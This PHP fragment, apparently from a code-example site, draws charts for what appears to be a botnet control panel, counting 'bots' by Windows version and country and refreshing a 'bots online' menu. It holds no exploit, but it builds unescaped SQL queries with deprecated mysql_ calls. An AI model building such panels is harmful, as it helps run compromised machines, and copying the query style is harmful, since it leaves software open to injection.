Exemplo n.º 1
0
$piChart3->setLabels(array(round($windows7count / $statustotal * 100, 0) . "%", round($windowsvistacount / $statustotal * 100, 0) . "%", round($windowsxpcount / $statustotal * 100, 0) . "%", round($unknowncount / $statustotal * 100, 0) . "%"));
$piChart3->setColors(array("5D8AA8", "B4CDCD", "E32636", "EFDECD"));
$piChart3->addBackgroundFill('bg', '000000');
$cclist = array();
$ccvalues = array();
while ($row = mysql_fetch_array($ccs)) {
    array_push($cclist, $row[0]);
    $values = mysql_query("SELECT * FROM clients WHERE cc LIKE '{$row['0']}'");
    array_push($ccvalues, mysql_num_rows($values) / $totalbots * 100);
}
$map1 = new gMapChart();
$map1->setZoomArea('world');
$map1->setStateCodes($cclist);
$map1->addDataSet($ccvalues);
$map1->setColors('000000', array('0099FF', '002288'));
$map1->addBackgroundFill('bg', '000000');
echo '<link rel="stylesheet" type="text/css" href="css/style.css"/>
	<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
		
	<script type="text/javascript">
    	$(document).ready(function(){
      		refreshBotsOnline();
    	});
    	
    	function refreshBotsOnline(){
        	$(\'#navi\').load(\'inc/html_menu.php\');
        	setTimeout(refreshBotsOnline, 5000);
    	}
	</script>';
echo "\r\n<center>\r\n<table width='100%' border='0'>\r\n  <tr>\r\n    <td colspan='2' ><div id = 'bbord'><img src=";
print $map1->getUrl();